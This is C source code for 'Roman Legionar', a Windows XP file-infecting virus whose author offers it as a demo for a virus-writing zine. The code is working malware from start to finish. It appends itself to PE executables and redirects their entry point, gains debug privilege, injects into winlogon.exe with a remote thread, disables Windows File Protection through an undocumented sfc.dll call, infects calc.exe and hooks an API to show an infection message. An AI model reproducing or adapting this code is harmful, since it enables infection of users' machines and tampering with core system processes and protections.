|| Author: tanMa || Back to sources || View project folder ||
//-----------------------------------------------------------------------------
// WinXP.Roman Legionar 32-bit by tanMa (bad english documented)
//
// Welcome to the source code of Roman Legionar, this is my first virii and it
// is a demo, so don't blame me. It was written back in early 2003. and it was
// 95% done. But from some reason I didnt finish it, and didnt show it's source
// code and didnt make contribution to vx community! Now three years and a half
// beyond in 2006., something resounds in my mind. I decided to finish this 5%
// and make small step for the community but big one for my-self. This virii is
// designed as contribution to the 29a Zine and I have hope it will fit in...
// Virus it-self is entirely written in C ( BCC32 ). It can not rival with
// viruses written in ASM, but can serride with others of HLL kind. As far as
// i know Roman Legionar is the first HLL virii which targets Win32 PE not
// altering host's import section and depends not on host's export section.
// Other stuffs this demo virii can do are usual... This is 32-bit version made
// for Win32 but can easly be ported to Win64...
//
// Virus properties:
// Name: Roman Legionar
// Coded in: C Language
// Platform: WinXP 32-bit (tested on SP2)
// Infects: .EXE PE32-bit (last section increase)
// Crypted: YES (virus .code, through the reloc,no need decryptor!)
// PayLoad: YES (not a destructive one)
// Spreading: NO (this is a demo :) )
//
// This demo virus does:
//
// 1st generation:
// Infect victim.exe in current directory
//
// 2nd generation:
// Insert it-self into winlogon.exe
// Disable SFP (run-time)
// Infect calc.exe in windows system directory
// Hook api (go to main menu and see about box...)
//
//
// coded by tanMa
// Serbia 2006.
// demonyu@yahoo.com
//
// Documentation:Vx-tasy #1
// Zines 5...7. by 29a Labs
//-----------------------------------------------------------------------------
#include "RL32.h"
//-----------------------------------------------------------------------------
//
//
//-----------------------------------------------------------------------------
void *memset(void *dst, int val, size_t count)
{
char *temp;
for (temp = (char *)dst; count != 0; count--)
*temp++ = val;
return dst;
}
//-----------------------------------------------------------------------------
void *memcpy(void *dst_ptr, const void *src_ptr, size_t count)
{
void *ret_val = dst_ptr;
const char *Src = (const char *)src_ptr;
char *Dst = (char *)dst_ptr;
for (; count != 0; count--)
*Dst++ = *Src++;
return ret_val;
}
//-----------------------------------------------------------------------------
int memcmp(const void *memptr1, const void *memptr2, size_t count)
{
const unsigned char *mem1 = (const unsigned char *)memptr1;
const unsigned char *mem2 = (const unsigned char *)memptr2;
for (; count != 0; count--)
{
if (*mem1 != *mem2)
return *mem1 - *mem2;
mem1++;
mem2++;
}
return 0;
}
//-----------------------------------------------------------------------------
//
//
//-----------------------------------------------------------------------------
size_t strlen(const char *str)
{
size_t ret_val;
for (ret_val = 0; *str != '\0'; str++)
ret_val++;
return ret_val;
}
//-----------------------------------------------------------------------------
int strcmp(const char *str1, const char *str2)
{
while ((*str2 != '\0') && (*str1 == *str2))
{
str1++;
str2++;
}
return *str1-*str2;
}
//-----------------------------------------------------------------------------
char *strcpy(char *dst, const char *src)
{
char *ret_val = dst;
while (*src != '\0')
*dst++ = *src++;
*dst = *src;
return ret_val;
}
//-----------------------------------------------------------------------------
//
//
//-----------------------------------------------------------------------------
unsigned long UpdateCRC32( char val, unsigned long crc )
{
return CRC32Table[(unsigned char)crc^val] ^ (crc>>8);
}
//-taken-from-GriYo-----------------------------------------------------------
unsigned long strcrc32( char *ptr, int size, unsigned long crc )
{
while( size-- ) crc = UpdateCRC32( *ptr++, crc );
return crc;
}
//-----------------------------------------------------------------------------
// Return crc32 of string
//-----------------------------------------------------------------------------
unsigned long Str2CRC32(char *str)
{
return strcrc32( str, strlen(str), 0);
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
HMODULE GetKernel32Base(void)
{
//find kernel32 address using PEB, little of inline asm
//...inline asm is part of C Language :)
asm
{
mov eax, fs:[30h]
mov eax, [eax + 0ch]
mov esi, [eax + 1ch]
lodsd
mov ebx, [eax + 08h]
}
return (HMODULE)_EBX; //XP-SP2 Hard coded 2088763392
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
FARPROC GetProcAddressCRC32(HMODULE hModule,DWORD ApiNameCRC32)
{
IMAGE_DOS_HEADER *lpModuleMZ;
IMAGE_NT_HEADERS *lpModulePE;
IMAGE_EXPORT_DIRECTORY *lpModuleExp;
DWORD *AddressOfNames;
WORD *AddressOfNameOrdinals;
DWORD *AddressOfFunctions;
char *Name;
FARPROC Address; //adresa funkcije
DWORD index;
if (hModule!=NULL)
{
lpModuleMZ=(IMAGE_DOS_HEADER *)hModule;
lpModulePE=(IMAGE_NT_HEADERS *)((DWORD)lpModuleMZ+lpModuleMZ->e_lfanew);
lpModuleExp=(IMAGE_EXPORT_DIRECTORY*) ((DWORD)lpModuleMZ+lpModulePE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
AddressOfNames=(DWORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfNames);
AddressOfNameOrdinals=(WORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfNameOrdinals);
AddressOfFunctions=(DWORD*)((DWORD)lpModuleMZ+lpModuleExp->AddressOfFunctions);
for (index=0;index<lpModuleExp->NumberOfNames;index++)
{
Name=(char*)((DWORD)lpModuleMZ+AddressOfNames[index]);
if (Str2CRC32(Name)==ApiNameCRC32)
{
index=AddressOfNameOrdinals[index]; //new index
Address=(FARPROC)((DWORD)lpModuleMZ+AddressOfFunctions[index]);
return Address;
}
}
}
return NULL;
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
BOOL RetriveDLLApis(HMODULE hMod,DWORD ApiNamesCRC32[],LPDWORD Addresses,int numofapis)
{
int i;
//walk through array of CRC32
for (i=0;i<numofapis;i++)
{
//Get api address
if (NULL==(Addresses[i]=(DWORD)GetProcAddressCRC32(hMod,ApiNamesCRC32[i])))
{
return FALSE;
}
}
return TRUE;
}
//-----------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
BOOL Open_File(OPENED_FILE_DATA *ofd,char *fName)
{
ofd->fHandle=ofd->fMapHandle=ofd->lpBaseOfFile=NULL;
//open file
if (INVALID_HANDLE_VALUE==(ofd->fHandle=(HANDLE)aCreateFileA(fName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL))) {
DBGERR("CreateFile FAILED!!!")
return FALSE;
}
//save file size
ofd->FileSizeOnOpen=aGetFileSize(ofd->fHandle,NULL);
return TRUE;
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
BOOL Map_File(OPENED_FILE_DATA *ofd,DWORD BytesToMap)
{
DWORD b2map;
if (ofd->fHandle==NULL)
return FALSE;
if (BytesToMap==0)
b2map=ofd->FileSizeOnOpen;
else
b2map=BytesToMap;
if (NULL==(ofd->fMapHandle=(HANDLE)aCreateFileMappingA(ofd->fHandle,
NULL,
PAGE_READWRITE,
0,
b2map,
NULL))) {
DBGERR("CreateFileMapping FAILED!")
return FALSE;
}
if (NULL==(ofd->lpBaseOfFile=(LPVOID)aMapViewOfFile(ofd->fMapHandle,FILE_MAP_ALL_ACCESS,0,0,b2map))) {
DBGERR("MapViewOfFile FAILED!")
return FALSE;
}
return TRUE;
}
//-----------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void UnMap_File(OPENED_FILE_DATA *ofd)
{
if (ofd->lpBaseOfFile!=NULL) {
aUnmapViewOfFile(ofd->lpBaseOfFile);
ofd->lpBaseOfFile=NULL;
}
if (ofd->fMapHandle!=NULL) {
aCloseHandle(ofd->fMapHandle);
ofd->fMapHandle=NULL;
}
return;
}
//-----------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void Close_File(OPENED_FILE_DATA *ofd)
{
if (ofd->fHandle!=NULL) {
aCloseHandle(ofd->fHandle);
ofd->fHandle=NULL;
}
return;
}
//-----------------------------------------------------------------------------
// Set Debug privilege for current process
//------------------------------------------------------------------------------
BOOL SetDebugPrivilege(void)
{
HANDLE hProcess;
HANDLE hAccessToken;
LUID luidPrivilegeLUID;
TOKEN_PRIVILEGES tpTokenPrivilege;
hProcess = (HANDLE)aGetCurrentProcess();
if (!hProcess)
{
DBGERR("GetCurrentProcess-FAILD!")
return FALSE;
}
if (!aOpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hAccessToken))
{
DBGERR("OpenProcessToken-FAILD")
return FALSE;
}
//Get LUID of SeSecurityPrivilege privilege
if (!aLookupPrivilegeValueA(NULL,"SeDebugPrivilege",&luidPrivilegeLUID))
{
DBGERR("LookupPrivilegeValue - must be logged as Administrator")
return FALSE;
}
// Enable the SeSecurityPrivilege privilege using the LUID just
// obtained
tpTokenPrivilege.PrivilegeCount = 1;
tpTokenPrivilege.Privileges[0].Luid = luidPrivilegeLUID;
tpTokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aAdjustTokenPrivileges (hAccessToken,
FALSE, // Do not disable all
&tpTokenPrivilege,
sizeof(TOKEN_PRIVILEGES),
NULL, // Ignore previous info
NULL); // Ignore previous info
if ( aGetLastError() != NO_ERROR )
{
DBGERR("AdjustTokenPrivileges-FAILD!!!")
return FALSE;
}
return TRUE;
}
//----------------------------------------------------------------------------
// Open process (so we can write in address space of target process)
// for some processes (winlogon.exe etc.) debuger previlege needed...
//----------------------------------------------------------------------------
HANDLE OpenProcess_Module(char *lpMainModuleName)
{
DWORD bytesneeded;
DWORD ProcessIdList[0x80]; //up to 32 processes
DWORD ProcessesNum;
DWORD i;
HMODULE ModuleList;
char ModuleName[MAX_PATH];
aEnumProcesses((DWORD*)ProcessIdList,0x80,&bytesneeded);
ProcessesNum=bytesneeded/0x04;
//walk through Processes
for (i=0;i<ProcessesNum;i++)
{
HANDLE hOP=(HANDLE)aOpenProcess(0x43A,FALSE,ProcessIdList[i]);
if (hOP!=NULL)
{
//enumerate only first module in target process
aEnumProcessModules(hOP,&ModuleList,4,&bytesneeded);
//get module name
aGetModuleBaseNameA(hOP,ModuleList,ModuleName,MAX_PATH);
//is it module that we are looking for?
if (0==strcmp(ModuleName,lpMainModuleName))
{
return hOP;
}
}
aCloseHandle(hOP);
}
return NULL;
}
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
BOOL ApplyReloc(HANDLE hProcess,LPVOID lpCodeToReloc,LPVOID lpRelocSection,long Dislocation)
{
IMAGE_BASE_RELOCATION *RelocBlock;
IMAGE_RELOCATION_DATA *PtrReloc,*PtrRelocTemp;
DWORD NumOfRelocs=0; //number of relocations in one RELOC BLOCK inside of "viurs .reloc section"
DWORD offset; //offset (in virus .code section) where to apply relocation
long value_at_offset;
long new_value;
DWORD i;
DWORD oldprotection;
RelocBlock=(IMAGE_BASE_RELOCATION *)(lpRelocSection);
//walk through all RELOC BLOKCs
while (RelocBlock->VirtualAddress!=0)
{
//inside of RELOC BLOCK
PtrReloc= (IMAGE_RELOCATION_DATA *)((LPBYTE)RelocBlock+sizeof(IMAGE_BASE_RELOCATION));
NumOfRelocs=(RelocBlock->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/sizeof(IMAGE_RELOCATION_DATA);
PtrRelocTemp=PtrReloc;
for (i=0;i<NumOfRelocs;i++)
{
if (PtrRelocTemp->RelocType == IMAGE_REL_BASED_HIGHLOW)
{
offset=(DWORD)((DWORD)lpCodeToReloc-dwVirusCodeRVA1Gen+RelocBlock->VirtualAddress+PtrRelocTemp->RelocOfs);
//read value at "offset" and place into "value_at_offset"
if (!aReadProcessMemory(hProcess,(LPVOID)offset,&value_at_offset,4,NULL))
{
DBGERR("aReadProcessMemory FAILED !!!")
return FALSE;
}
//Calculate relocations
new_value=value_at_offset+Dislocation;
//unprotect (set new protection READ&WRITE) memory at "offset"
if (!aVirtualProtectEx(hProcess,(LPVOID)offset,4,PAGE_READWRITE,&oldprotection))
{
DBGERR("VirtualProcetEx FAILED!!! Could not unprotect (at 'offset')!!!")
return FALSE;
}
//write "new_value" at "offset" (relocate)
if (!aWriteProcessMemory(hProcess,(LPVOID)offset,&new_value,4,NULL))
{
DBGERR("aWriteProcessMemory FAILED! Could not write 'new_value' at 'offset'!!!")
return FALSE;
}
//protect (return protection as it was) memory at "offset"
if (!aVirtualProtectEx(hProcess,(LPVOID)offset,4,oldprotection,&oldprotection))
{
DBGERR("VirtualProcetEx FAILED!!! Could not restore protection (at 'offset')!!!")
return FALSE;
}
}
PtrRelocTemp++;
} // next reloc inside of RELOC BLOCK
RelocBlock=(IMAGE_BASE_RELOCATION *)((LPBYTE)RelocBlock+RelocBlock->SizeOfBlock);
} // next RELOC BLOCK inside of "virus .reloc section"
return TRUE;
}
//------------------------------------------------------------------------------
// Insert virus into remote process
//------------------------------------------------------------------------------
HANDLE InsertVirusIntoProcess(char *lpProcessMainModuleName,DWORD EP,DWORD cflag)
{
HANDLE hTargetProcess;
LPVOID VirusAddrInTargetProcess; //address of virus in target process
HANDLE hRemoteThread=NULL;
DWORD s;
LPVOID lpNewDataSection; //address of virus .data section in target process
//find process
if (NULL==(hTargetProcess=OpenProcess_Module(lpProcessMainModuleName)))
{
DBGERR("OpenProcess_Module FAILED!")
return NULL;
}
//Allocate memory in target process
if(NULL==(VirusAddrInTargetProcess=(LPVOID)aVirtualAllocEx(hTargetProcess,NULL,VirusLen,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE)))
{
DBGERR("VirtualAllocEx FAILED!!! Could not allocate memory in target process!")
return NULL;
}
//Dump virus into target process...
if (!aWriteProcessMemory(hTargetProcess,VirusAddrInTargetProcess,(LPVOID)(dwVirusCodeRVA+dwVirusImageBase),VirusLen,NULL))
{
DBGERR("WriteProcessMemory FAILED!!! Could not dump virus into target process!")
return NULL;
}
//Relocate virus (code) in target process
ApplyReloc(hTargetProcess,VirusAddrInTargetProcess,
(LPVOID)(dwVirusImageBase+dwVirusRelocRVA),
(DWORD)VirusAddrInTargetProcess-(dwVirusImageBase+dwVirusCodeRVA));
//virus .data section in target process
lpNewDataSection=(LPVOID)((DWORD)VirusAddrInTargetProcess+dwVirusDataRVA1Gen-dwVirusCodeRVA1Gen);
//set vars
SetDWORDVarValue((DWORD)&dwVirusImageBase,(DWORD)VirusAddrInTargetProcess,lpNewDataSection,hTargetProcess);
SetDWORDVarValue((DWORD)&dwVirusCodeRVA,0,lpNewDataSection,hTargetProcess);
SetDWORDVarValue((DWORD)&dwVirusDataRVA,dwVirusDataRVA1Gen-dwVirusCodeRVA1Gen,lpNewDataSection,hTargetProcess);
SetDWORDVarValue((DWORD)&dwVirusRelocRVA,dwVirusRelocRVA1Gen-dwVirusCodeRVA1Gen,lpNewDataSection,hTargetProcess);
//Create Remote thread (in target process)...
if (NULL==(hRemoteThread=(HANDLE)aCreateRemoteThread(hTargetProcess,0,0,(LPVOID)((DWORD)VirusAddrInTargetProcess+EP-dwVirusImageBase-dwVirusCodeRVA),0,cflag,0)))
{
DBGERR("CreateRemoteThread - FAILED!!! Could not create remote thread in target process!")
return NULL;
}
//close target process
aCloseHandle(hTargetProcess);
return hRemoteThread;
}
//-----------------------------------------------------------------------------
//Hook API in current process
//To hook api in remote process,just inject there and call this function
//Can not hook api imported by ordinal!
//-----------------------------------------------------------------------------
BOOL HookAPI(HMODULE lpModuleBase,char *lpApiName,FARPROC NewAdr)
{
IMAGE_DOS_HEADER *lpDosHeader = NULL;
IMAGE_NT_HEADERS *lpPeHeader = NULL;
IMAGE_IMPORT_DESCRIPTOR *Imports=NULL; //import section for "lpModuleBase"
DWORD *FunctionName;
DWORD *FunctionAddr;
char *pName;
int ImportedDLLs=0;
int i;
DWORD oldprotection;
lpDosHeader=(IMAGE_DOS_HEADER *)(lpModuleBase);
lpPeHeader=(IMAGE_NT_HEADERS *)((BYTE*)lpDosHeader+lpDosHeader->e_lfanew);
Imports = (IMAGE_IMPORT_DESCRIPTOR *)((DWORD)lpModuleBase + lpPeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//count imported .DLLs by module
while (Imports->OriginalFirstThunk)
{
ImportedDLLs++;
Imports++;
}
Imports = (IMAGE_IMPORT_DESCRIPTOR *)((DWORD)lpModuleBase + lpPeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//walk through all modules
for (i=0; i<ImportedDLLs; i++)
{
FunctionName = (DWORD *)(Imports->OriginalFirstThunk + (DWORD)lpDosHeader);
FunctionAddr = (DWORD *)(Imports->FirstThunk + (DWORD)lpDosHeader);
//walk though function names till NULL
while (*FunctionName)
{
//is it ordinal?
if (*FunctionName & IMAGE_ORDINAL_FLAG)
{
return FALSE;
}
else
{
pName = (LPCTSTR)((DWORD)lpDosHeader + *FunctionName + 2/*Hint*/);
//is it function,we are looking for?
if (0==strcmp(pName,lpApiName))
{
//un-protect memory
if (!aVirtualProtect((LPVOID)FunctionAddr,4,PAGE_READWRITE,&oldprotection))
{
DBGERR("VirtualProtect FAILED!!! Could not un-protect!")
return FALSE;
}
//hook
*FunctionAddr=NewAdr;
//restore memory protection
if (!aVirtualProtect((LPVOID)FunctionAddr,4,oldprotection,&oldprotection))
{
DBGERR("VirtualProtect FAILED! Could not restore protection!")
}
return TRUE;
}
}
FunctionName++;
FunctionAddr++;
} //next func.
Imports++; //next imported module (.DLL)
}
return FALSE;
}
//-------------------------------------------------------------------------------
// Infect PE32-bit Executable,method last section increase
// Does not check for PE32+ so it may corrupt them
// There are other stuffs like (Self-Extractors,CheckSum,Victim's date&time,re-infecting)
// but it's not a point of this demo virii...
//------------------------------------------------------------------------------
BOOL InfectFile(char *fName)
{
OPENED_FILE_DATA ofd;
IMAGE_DOS_HEADER *lpVictimDosHeader = NULL;
IMAGE_NT_HEADERS *lpVictimPeHeader = NULL;
IMAGE_SECTION_HEADER *lpVictimFirstSectionHdr = NULL;
IMAGE_SECTION_HEADER *lpVictimLastSectionHdr = NULL;
DWORD NewVictimFileSize;
DWORD VictimLastSectionSize;
LPVOID lpNewDataSection;
long t;
//open victim
if (!Open_File(&ofd,fName))
{
DBGERR("Open_File FAILED!!! Could not open victim!")
return FALSE;
}
//map
if (!Map_File(&ofd,0))
{
DBGERR("Map_File FAILED!!! Could not perform mapping!!!")
Close_File(&ofd);
return FALSE;
}
//victim's headers
lpVictimDosHeader=(IMAGE_DOS_HEADER *)ofd.lpBaseOfFile;
lpVictimPeHeader=(IMAGE_NT_HEADERS *)((BYTE*)lpVictimDosHeader+lpVictimDosHeader->e_lfanew);
lpVictimFirstSectionHdr=(IMAGE_SECTION_HEADER *)((long)lpVictimPeHeader+sizeof(IMAGE_NT_HEADERS));
lpVictimLastSectionHdr=lpVictimFirstSectionHdr+lpVictimPeHeader->FileHeader.NumberOfSections-1;
//some checks
if (lpVictimPeHeader->OptionalHeader.CheckSum!=0)
{
DBGERR("CheckVictim - CheckSum,but can continue...")
//UnMap_File(&ofd);
//Close_File(&ofd);
//return FALSE;
}
//start of infection
//increase size of victim so virus can be added...
NewVictimFileSize=ofd.FileSizeOnOpen+VirusLen+0x1000;
UnMap_File(&ofd); //un-map
if (!Map_File(&ofd,NewVictimFileSize)) //map again with new size
{
DBGERR("Map_File FAILED!!! Remap of victim failed!")
Close_File(&ofd);
return FALSE;
}
//re-init pointers (headers) because of victim re-mapping
lpVictimDosHeader=(IMAGE_DOS_HEADER *)ofd.lpBaseOfFile;
lpVictimPeHeader=(IMAGE_NT_HEADERS *)((BYTE*)lpVictimDosHeader+lpVictimDosHeader->e_lfanew);
lpVictimFirstSectionHdr=(IMAGE_SECTION_HEADER *)((long)lpVictimPeHeader+sizeof(IMAGE_NT_HEADERS));
lpVictimLastSectionHdr=lpVictimFirstSectionHdr+lpVictimPeHeader->FileHeader.NumberOfSections-1;
//Change attributes of last section's header
//set new flags
lpVictimLastSectionHdr->Characteristics|=0x0A0000020; //code,writable&executable
//VirtualSize
VictimLastSectionSize=lpVictimLastSectionHdr->Misc.VirtualSize;
lpVictimLastSectionHdr->Misc.VirtualSize+=VirusLen;
//SizeOfRawData=VirtualSize aligned (file alignment)
t=lpVictimLastSectionHdr->Misc.VirtualSize;
t=t/lpVictimPeHeader->OptionalHeader.FileAlignment;
t++;
t=t*lpVictimPeHeader->OptionalHeader.FileAlignment;
lpVictimLastSectionHdr->SizeOfRawData=t;
//PE Header of victim-SizeOfImage
lpVictimPeHeader->OptionalHeader.SizeOfImage=lpVictimLastSectionHdr->VirtualAddress+lpVictimLastSectionHdr->Misc.VirtualSize;
//dump virus (code,data,reloc) at end of last section's body of victim
memcpy((LPVOID)((DWORD)ofd.lpBaseOfFile+lpVictimLastSectionHdr->PointerToRawData+VictimLastSectionSize),
(LPVOID)(dwVirusCodeRVA+dwVirusImageBase),VirusLen);
//relocate virus (.code) (in victim)
ApplyReloc((HANDLE) aGetCurrentProcess(),
(LPVOID)((DWORD)ofd.lpBaseOfFile+lpVictimLastSectionHdr->PointerToRawData+VictimLastSectionSize),
(LPVOID)((DWORD)ofd.lpBaseOfFile+lpVictimLastSectionHdr->PointerToRawData+VictimLastSectionSize+dwVirusRelocRVA-dwVirusCodeRVA),
lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize-dwVirusCodeRVA+(lpVictimPeHeader->OptionalHeader.ImageBase-dwVirusImageBase));
//In victim "virus .data section"
lpNewDataSection=(LPVOID)((DWORD)ofd.lpBaseOfFile+lpVictimLastSectionHdr->PointerToRawData+VictimLastSectionSize+dwVirusDataRVA1Gen-dwVirusCodeRVA1Gen);
//set vars in next generation
SetDWORDVarValue((DWORD)&dwVirusImageBase,lpVictimPeHeader->OptionalHeader.ImageBase,lpNewDataSection,(HANDLE)aGetCurrentProcess());
SetDWORDVarValue((DWORD)&dwVirusCodeRVA ,lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize,lpNewDataSection,(HANDLE)aGetCurrentProcess());
SetDWORDVarValue((DWORD)&dwVirusDataRVA ,lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize+dwVirusDataRVA1Gen-dwVirusCodeRVA1Gen,lpNewDataSection,(HANDLE)aGetCurrentProcess());
SetDWORDVarValue((DWORD)&dwVirusRelocRVA ,lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize+dwVirusRelocRVA1Gen-dwVirusCodeRVA1Gen,lpNewDataSection,(HANDLE)aGetCurrentProcess());
//Host Entry Point
SetDWORDVarValue((DWORD)&HostEP,lpVictimPeHeader->OptionalHeader.ImageBase+lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint,lpNewDataSection,(HANDLE)aGetCurrentProcess());
//Increase generation
SetDWORDVarValue((DWORD)&dwGeneration,dwGeneration+1,lpNewDataSection,(HANDLE)aGetCurrentProcess());
//and finally Entry-Point set to points at virii code section
lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint=lpVictimLastSectionHdr->VirtualAddress+VictimLastSectionSize;
//close victim
UnMap_File(&ofd); Close_File(&ofd);
return TRUE;
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void SetDWORDVarValue(DWORD VarAdr,DWORD NewVal,LPVOID lpNewDataSection,HANDLE hProcess)
{
VarAdr=VarAdr-dwVirusImageBase-dwVirusDataRVA; //RVA
if (!aWriteProcessMemory(hProcess,(LPVOID)((DWORD)lpNewDataSection+VarAdr),&NewVal,4,NULL))
{
DBGERR("WriteProcessMemory FAILED! Setting 'NewVal' at 'hProcess::VarAdr' FAILED!")
return;
}
return;
}
//-----------------------------------------------------------------------------
// Initialize needed DLLs and their api addresses
//-----------------------------------------------------------------------------
BOOL InitDLLs(void)
{
//Get KERNEL32.DLL address
Kernel32Addr=GetKernel32Base();
//Retrive Kernel32.dll's apis
if (!RetriveDLLApis(Kernel32Addr,Kernel32ApisCRC32,(LPDWORD)&aBeep,Kernel32ApiNum))
{
return FALSE;
}
//little patch (i do not know why my getproc does not work for this one???)
aGetLastError=(FARPROC) aGetProcAddress(Kernel32Addr,"GetLastError");
//Load USER32.DLL
if ((HMODULE)NULL == (User32Addr=aLoadLibraryA("user32.dll")) )
{
return FALSE;
}
//Retrive User32.dll's apis
if (!RetriveDLLApis(User32Addr,User32ApisCRC32,(LPDWORD)&aMessageBoxA,User32ApiNum))
{
return FALSE;
}
//from now,we can use DBGERR macro (to display error box (virus interal
//errors)
//Load ADVAPI32.DLL
if ((HMODULE)NULL == (AdvApi32Addr=aLoadLibraryA("advapi32.dll")) )
{
DBGERR("Could not load advapi32.dll!!!")
return FALSE;
}
//Retrive AdvApi32.dll's apis
if (!RetriveDLLApis(AdvApi32Addr,AdvApi32ApisCRC32,(LPDWORD)&aOpenProcessToken,AdvApi32ApiNum))
{
DBGERR("Could not obtain apis form advapi32.dll !!!")
return FALSE;
}
//Load PSAPI.DLL
if ((HMODULE)NULL==(PSAPIAddr=(HMODULE)aLoadLibraryA("PSAPI.DLL")))
{
DBGERR("Could not load PSAPI.DLL !!!")
return FALSE;
}
//Retrive PSAPI.DLL's apis
if (!RetriveDLLApis(PSAPIAddr,PSAPIApisCRC32,(LPDWORD)&aEnumProcesses,PSAPIApiNum))
{
DBGERR("Could not obtain apis form PSAPI.dll !!!")
return FALSE;
}
return TRUE;
}
//-----------------------------------------------------------------------------
// Called in 1st generation only
//------------------------------------------------------------------------------
void Init1Gen(void)
{
IMAGE_DOS_HEADER *lpDosHeader = NULL;
IMAGE_NT_HEADERS *lpPeHeader = NULL;
IMAGE_SECTION_HEADER *lpCodeSectionHdr = NULL;
IMAGE_SECTION_HEADER *lpDataSectionHdr = NULL;
IMAGE_SECTION_HEADER *lpRelocSectionHdr = NULL;
lpDosHeader=(IMAGE_DOS_HEADER *)(VirusImageBase1Gen);
lpPeHeader=(IMAGE_NT_HEADERS *)((BYTE*)lpDosHeader+lpDosHeader->e_lfanew);
lpCodeSectionHdr=(IMAGE_SECTION_HEADER *)((long)lpPeHeader+sizeof(IMAGE_NT_HEADERS));
lpDataSectionHdr=lpCodeSectionHdr+1;
lpRelocSectionHdr=lpCodeSectionHdr+2;
dwVirusCodeRVA1Gen=lpCodeSectionHdr->VirtualAddress;
dwVirusDataRVA1Gen=lpDataSectionHdr->VirtualAddress;
dwVirusRelocRVA1Gen=lpRelocSectionHdr->VirtualAddress;
dwVirusCodeSize=lpCodeSectionHdr->Misc.VirtualSize;
dwVirusDataSize=lpDataSectionHdr->Misc.VirtualSize;
dwVirusRelocSize=lpRelocSectionHdr->Misc.VirtualSize;
dwVirusImageBase=VirusImageBase1Gen;
dwVirusCodeRVA=dwVirusCodeRVA1Gen;
dwVirusDataRVA=dwVirusDataRVA1Gen;
dwVirusRelocRVA=dwVirusRelocRVA1Gen;
return;
}
//-----------------------------------------------------------------------------
#ifdef VDEBUG
void _my_dbg_error_msg(int nErrCode, char *sErrMsg,char *sFile, char* sFunc, int nLine)
{
char err[512];
awsprintfA(err, "Error: %s\n Return code: %d\n Modul: %s\n Function: %s\n Line: %d", sErrMsg, nErrCode, sFile, sFunc, nLine);
aMessageBoxA(NULL,err,"Error Message",MB_OK|MB_ICONERROR);
return;
}
#endif
//-----------------------------------------------------------------------------
// This is Virus Entry Point (for target process)
// "Inserter" pass control here
//-----------------------------------------------------------------------------
void Intruder(void)
{
//char sModuleName[15];
char sSystemDirPath[MAX_PATH];
char sPathToVictim[MAX_PATH];
char sMsg[256];
HMODULE sfcAddr;
FARPROC asfc_terminate;
//Init kernel32.dll,user32.dll....
if (!InitDLLs())
return;
//aGetModuleBaseNameA(aGetCurrentProcess(),aGetModuleHandleA(NULL),&ModuleName,15);
//awsprintfA(sMsg,"Hello world from %s !!!",ModuleName);
//SFP run-time disabling inspired by Rattar
if (NULL== (sfcAddr=(HMODULE)aLoadLibraryA("sfc.dll")) )
{
DBGERR("aLoadLibraryA FAILED! Could not load sfc.dll!")
return;
}
//Find by ordinal (undocumented function exproted by sfc.dll)
asfc_terminate=aGetProcAddress(sfcAddr, (char *) 2);
//till next Windows restart no SFP :)
asfc_terminate();
//composite path&name to calc.exe
aGetSystemDirectoryA(sSystemDirPath,MAX_PATH);
awsprintfA(sPathToVictim,"%s%s",sSystemDirPath,"\\calc.exe");
//make it infected
if (!InfectFile(sPathToVictim))
{
DBGERR("Infect File FAILED!!!")
}
return;
}
//-----------------------------------------------------------------------------
int NewShellAboutW(HWND hWnd,LPCTSTR szApp,LPCTSTR szOtherStuff,HICON hIcon)
{
aMessageBoxA(NULL,"You have been infected by Roman Legionar!\nPress OK to continue...","WinXP.Roman Legionar by tanMa",MB_OK);
return TRUE;
}
//-----------------------------------------------------------------------------
// Virus Entry Point
//-----------------------------------------------------------------------------
void main(void)
{
FARPROC b;
//first, Generation?
if (dwGeneration==1)
Init1Gen();
//Init kernel32.dll,user32.dll....
InitDLLs();
//1st generation
if (dwGeneration==1)
{
aMessageBoxA(NULL,"Hello World!!! This is first generation!!!","[WinXP.Roman Legionar 32-bit] by tanMa",MB_OK | MB_ICONINFORMATION);
if (!InfectFile("victim.exe"))
{
DBGERR("Infect File FAILED!!!")
}
}
else //Generation 2,3,4,5.....(means we are in infected victim)
{
//set debug previlege because we need them for accessing winlogon.exe
SetDebugPrivilege();
//Inject virii
if (NULL==InsertVirusIntoProcess("winlogon.exe",(DWORD)&Intruder,0))
{
DBGERR("InsertVirusIntoProcess - FAILED!!!")
}
//say hello...
//aMessageBoxA(NULL,"Hello World from infected Victim!!!\nPress OK to continue...","[WinXP.Roman Legionar 32-bit] by tanMa",MB_OK | MB_ICONINFORMATION);
//hook api
HookAPI((HMODULE)aGetModuleHandleA(NULL),"ShellAboutW",(FARPROC)&NewShellAboutW);
//execute host
HostEP();
}
return;
}